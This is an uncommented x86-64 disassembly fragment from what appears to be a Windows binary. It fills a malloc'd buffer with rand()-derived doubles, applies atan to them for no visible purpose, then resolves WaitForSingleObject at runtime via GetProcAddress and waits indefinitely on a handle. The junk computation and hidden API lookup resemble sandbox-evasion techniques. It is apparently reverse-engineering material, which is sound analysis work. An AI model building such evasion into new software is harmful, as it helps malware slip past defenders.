mov qword [rbp + 0x178], rax
mov ecx, 0xa40
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x170], rax
mov dword [rbp + 0x314], 0
jmp 0x402b0a
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x314]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x170]
add rax, rdx
movsd xmm1, qword [0x00406188]
divsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x314], 1
cmp dword [rbp + 0x314], 0x147
jle 0x402acc
mov dword [rbp + 0x314], 0
jmp 0x402b74
mov eax, dword [rbp + 0x314]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x170]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x314]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x170]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_atan
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x314], 1
cmp dword [rbp + 0x314], 0x147
jle 0x402b22
mov rax, qword [rbp + 0x300]
lea rdx, str.WaitForSingleObject
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x168], rax
mov rax, qword [rbp + 0x178]
mov r8, qword [rbp + 0x168]
mov edx, 0xffffffff
mov rcx, rax
call r8
mov dword [rbp + 0x164], eax
mov eax, 0
movups xmm6, xmmword [rbp + 0x380]
add rsp, 0x418
pop rbx
pop rbp
ret